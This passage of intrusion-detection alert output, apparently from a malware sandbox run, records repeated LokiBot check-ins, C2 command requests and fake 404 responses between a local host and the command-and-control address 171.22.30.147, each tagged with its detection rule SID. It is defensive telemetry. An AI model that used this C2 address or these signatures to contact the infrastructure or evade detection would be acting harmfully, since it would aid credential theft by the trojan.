Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750001802825766 01/05/23-08:53:40.243949
SID:	2825766
Source Port:	50001
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749996802024318 01/05/23-08:53:38.933239
SID:	2024318
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499212025483 01/05/23-08:53:16.873916
SID:	2025483
Source Port:	80
Destination Port:	49921
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750068802825766 01/05/23-08:53:59.646284
SID:	2825766
Source Port:	50068
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749911802024318 01/05/23-08:53:14.014731
SID:	2024318
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749839802825766 01/05/23-08:52:53.202583
SID:	2825766
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749845802024318 01/05/23-08:52:54.838950
SID:	2024318
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749721802021641 01/05/23-08:52:17.231128
SID:	2021641
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749934802024318 01/05/23-08:53:20.304475
SID:	2024318
Source Port:	49934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500772025483 01/05/23-08:54:02.148840
SID:	2025483
Source Port:	80
Destination Port:	50077
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750035802021641 01/05/23-08:53:50.741604
SID:	2021641
Source Port:	50035
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749964802025381 01/05/23-08:53:30.400374
SID:	2025381
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749744802825766 01/05/23-08:52:23.736699
SID:	2825766
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749849802021641 01/05/23-08:52:55.895226
SID:	2021641
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749891802024313 01/05/23-08:53:07.205477
SID:	2024313
Source Port:	49891
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749893802025381 01/05/23-08:53:07.754435
SID:	2025381
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750033802025381 01/05/23-08:53:50.199257
SID:	2025381
Source Port:	50033
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749762802825766 01/05/23-08:52:28.868227
SID:	2825766
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749891802024318 01/05/23-08:53:07.205477
SID:	2024318
Source Port:	49891
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500442025483 01/05/23-08:53:53.305777
SID:	2025483
Source Port:	80
Destination Port:	50044
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749968802024318 01/05/23-08:53:31.490288
SID:	2024318
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749778802021641 01/05/23-08:52:34.958959
SID:	2021641
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749835802024318 01/05/23-08:52:50.902278
SID:	2024318
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499762025483 01/05/23-08:53:33.709700
SID:	2025483
Source Port:	80
Destination Port:	49976
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750005802025381 01/05/23-08:53:41.297546
SID:	2025381
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750007802021641 01/05/23-08:53:41.829015
SID:	2021641
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500332025483 01/05/23-08:53:50.284555
SID:	2025483
Source Port:	80
Destination Port:	50033
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499542025483 01/05/23-08:53:25.808050
SID:	2025483
Source Port:	80
Destination Port:	49954
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749992802025381 01/05/23-08:53:37.885447
SID:	2025381
Source Port:	49992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749913802025381 01/05/23-08:53:14.593137
SID:	2025381
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749938802825766 01/05/23-08:53:21.374225
SID:	2825766
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749732802025381 01/05/23-08:52:20.401546
SID:	2025381
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749820802021641 01/05/23-08:52:46.558490
SID:	2021641
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749731802021641 01/05/23-08:52:20.113614
SID:	2021641
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749772802825766 01/05/23-08:52:31.644906
SID:	2825766
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749807802024313 01/05/23-08:52:43.044779
SID:	2024313
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499322025483 01/05/23-08:53:19.843053
SID:	2025483
Source Port:	80
Destination Port:	49932
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749807802024318 01/05/23-08:52:43.044779
SID:	2024318
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749809802025381 01/05/23-08:52:43.596832
SID:	2025381
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749863802024318 01/05/23-08:52:59.703117
SID:	2024318
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749911802024313 01/05/23-08:53:14.014731
SID:	2024313
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749863802024313 01/05/23-08:52:59.703117
SID:	2024313
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749706802825766 01/05/23-08:52:09.771973
SID:	2825766
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749837802025381 01/05/23-08:52:51.988001
SID:	2025381
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749877802021641 01/05/23-08:53:03.433942
SID:	2021641
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497912025483 01/05/23-08:52:38.699631
SID:	2025483
Source Port:	80
Destination Port:	49791
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749990802024313 01/05/23-08:53:37.383838
SID:	2024313
Source Port:	49990
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749966802825766 01/05/23-08:53:30.946864
SID:	2825766
Source Port:	49966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749990802024318 01/05/23-08:53:37.383838
SID:	2024318
Source Port:	49990
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750003802024313 01/05/23-08:53:40.763519
SID:	2024313
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749760802025381 01/05/23-08:52:28.304789
SID:	2025381
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497802025483 01/05/23-08:52:35.592230
SID:	2025483
Source Port:	80
Destination Port:	49780
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750058802825766 01/05/23-08:53:57.002594
SID:	2825766
Source Port:	50058
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749789802025381 01/05/23-08:52:38.076275
SID:	2025381
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749835802024313 01/05/23-08:52:50.902278
SID:	2024313
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749916802021641 01/05/23-08:53:15.372296
SID:	2021641
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750021802024318 01/05/23-08:53:46.361205
SID:	2024318
Source Port:	50021
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749726802024313 01/05/23-08:52:18.702884
SID:	2024313
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498132025483 01/05/23-08:52:44.765886
SID:	2025483
Source Port:	80
Destination Port:	49813
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749820802825766 01/05/23-08:52:46.558490
SID:	2825766
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750079802024318 01/05/23-08:54:02.588823
SID:	2024318
Source Port:	50079
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750082802024313 01/05/23-08:54:03.532238
SID:	2024313
Source Port:	50082
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749853802825766 01/05/23-08:52:56.960046
SID:	2825766
Source Port:	49853
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750082802024318 01/05/23-08:54:03.532238
SID:	2024318
Source Port:	50082
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498912025483 01/05/23-08:53:07.291807
SID:	2025483
Source Port:	80
Destination Port:	49891
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749952802021641 01/05/23-08:53:25.200806
SID:	2021641
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749949802021641 01/05/23-08:53:24.361661
SID:	2021641
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749704802025381 01/05/23-08:52:08.934535
SID:	2025381
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750032802025381 01/05/23-08:53:49.938594
SID:	2025381
Source Port:	50032
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749886802825766 01/05/23-08:53:05.845633
SID:	2825766
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749923802825766 01/05/23-08:53:17.329996
SID:	2825766
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749726802024318 01/05/23-08:52:18.702884
SID:	2024318
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749821802021641 01/05/23-08:52:46.829983
SID:	2021641
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750059802024318 01/05/23-08:53:57.279795
SID:	2024318
Source Port:	50059
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749844802024318 01/05/23-08:52:54.549139
SID:	2024318
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750009802025381 01/05/23-08:53:42.368696
SID:	2025381
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750013802024318 01/05/23-08:53:43.455950
SID:	2024318
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750059802024313 01/05/23-08:53:57.279795
SID:	2024313
Source Port:	50059
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749844802024313 01/05/23-08:52:54.549139
SID:	2024313
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749827802025381 01/05/23-08:52:48.461129
SID:	2025381
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750013802024313 01/05/23-08:53:43.455950
SID:	2024313
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749888802025381 01/05/23-08:53:06.392338
SID:	2025381
Source Port:	49888
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749939802024313 01/05/23-08:53:21.632432
SID:	2024313
Source Port:	49939
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749890802021641 01/05/23-08:53:06.934564
SID:	2021641
Source Port:	49890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749939802024318 01/05/23-08:53:21.632432
SID:	2024318
Source Port:	49939
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498242025483 01/05/23-08:52:47.720430
SID:	2025483
Source Port:	80
Destination Port:	49824
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749974802025381 01/05/23-08:53:33.106432
SID:	2025381
Source Port:	49974
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498022025483 01/05/23-08:52:41.721047
SID:	2025483
Source Port:	80
Destination Port:	49802
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750030802825766 01/05/23-08:53:49.383588
SID:	2825766
Source Port:	50030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749859802021641 01/05/23-08:52:58.622571
SID:	2021641
Source Port:	49859
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749702802825766 01/05/23-08:52:08.155254
SID:	2825766
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498802025483 01/05/23-08:53:04.312009
SID:	2025483
Source Port:	80
Destination Port:	49880
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749956802825766 01/05/23-08:53:26.250117
SID:	2825766
Source Port:	49956
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749768802021641 01/05/23-08:52:30.564042
SID:	2021641
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749910802825766 01/05/23-08:53:13.740225
SID:	2825766
Source Port:	49910
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749735802825766 01/05/23-08:52:21.259701
SID:	2825766
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750063802825766 01/05/23-08:53:58.331391
SID:	2825766
Source Port:	50063
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750026802024318 01/05/23-08:53:48.341265
SID:	2024318
Source Port:	50026
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749854802021641 01/05/23-08:52:57.240558
SID:	2021641
Source Port:	49854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750026802024313 01/05/23-08:53:48.341265
SID:	2024313
Source Port:	50026
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

